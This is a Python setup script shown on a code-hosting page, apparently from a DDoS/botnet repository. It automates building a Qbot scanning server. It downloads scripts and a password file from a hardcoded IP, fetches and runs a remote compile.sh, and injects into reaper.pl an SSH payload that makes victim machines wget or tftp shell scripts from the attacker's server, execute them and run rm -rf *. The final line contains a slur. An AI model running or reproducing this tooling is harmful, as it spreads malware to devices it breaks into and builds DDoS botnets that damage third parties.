Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Auto Setup Qbot/ScanningServerSetup.py
5038 views
1
import subprocess
2
3
def cri(cmd):
4
subprocess.call(cmd, shell=True)
5
def jack(file_name, line_num, text):
6
lines = open(file_name, 'r').readlines()
7
lines[line_num] = text
8
out = open(file_name, 'w')
9
out.writelines(lines)
10
out.close()
11
12
print '\x1b[1;37m Scanning Server Auto-Setup Created By \x1b[0;31mFlexingOnLamers'
13
14
print("Installing Needed Dependencies..")
15
cri('yum update -y')
16
cri('yum install python-paramiko gcc screen nano wget httpd iptables perl -y')
17
cri('yum install gcc cmake gmp gmp-devel libpcap-devel gengetopt byacc flex -y')
18
cri('yum install json-c-doc.noarch json-c.i686 json-c.x86_64 json-c-devel.i686 json-c-devel.x86_64 -y')
19
cri('yum install epel-release -y')
20
cri('yum install gengetopt -y')
21
cri('yum install python-paramiko gcc screen nano wget httpd iptables perl -y')
22
cri('yum install gcc cmake gmp gmp-devel libpcap-devel gengetopt byacc flex -y')
23
cri('yum install json-c-doc.noarch json-c.i686 json-c.x86_64 json-c-devel.i686 json-c-devel.x86_64 -y')
24
cri('yum install epel-release -y')
25
cri('yum install gengetopt -y')
26
print("Now Installing Needed Scripts..")
27
cri('wget -q http://158.69.204.184/class -O class')
28
cri('wget -q http://158.69.204.184/dup -O dup')
29
cri('wget -q http://158.69.204.184/g -O g')
30
cri('wget -q http://158.69.204.184/update -O update')
31
cri('wget -q http://158.69.204.184/pass_file -O pass_file')
32
cri('wget -q http://158.69.204.184/s -O s')
33
cri('wget -q https://pastebin.com/raw/bnAgb8hT -O reaper.pl')
34
cri('wget -q http://158.69.204.184/masscan -O masscan')
35
ip = raw_input("\x1b[1;37mEnter Your Server IP:\x1b[1;35m")
36
jack('reaper.pl', 19, " $channel->exec('cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://"+ ip +"/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp "+ ip +" -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g "+ ip +"; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh; rm -rf *');")
37
print("Now Installing NETSSH2 and CPAN")
38
cri('yum install cpan wget curl glibc.i686 -y')
39
cri('cpan force install Parallel::ForkManager')
40
cri('cpan force install IO::Socket')
41
cri('cpan force install IO::Select')
42
cri('wget http://rbxmarketsourcealso000isbae.000webhostapp.com/compile.sh; sh compile.sh; rm -rf compile.sh')
43
cri('yum install gcc php-devel php-pear libssh2 libssh2-devel libpcap -y')
44
cri('pecl install -f ssh2')
45
cri('touch /etc/php.d/ssh2.ini')
46
cri('echo extension=ssh2.so > /etc/php.d/ssh2.ini')
47
cri('cpan force install Net::SSH2')
48
print("Now installing ZMAP")
49
cri('wget https://github.com/zmap/zmap/archive/v2.1.0.tar.gz')
50
cri('tar -xvf v2.1.0.tar.gz')
51
cri('cd zmap-2.1.0')
52
cri('flex -o "src/lexer.c" --header-file="src/lexer.h" "src/lexer.l"')
53
cri('byacc -d -o "src/parser.c" "src/parser.y"')
54
cri('mkdir /etc/zmap')
55
cri('cp conf/* /etc/zmap')
56
cri('cmake -DENABLE_HARDENING=ON')
57
cri('make')
58
cri('make install')
59
print("Finished faggot")
60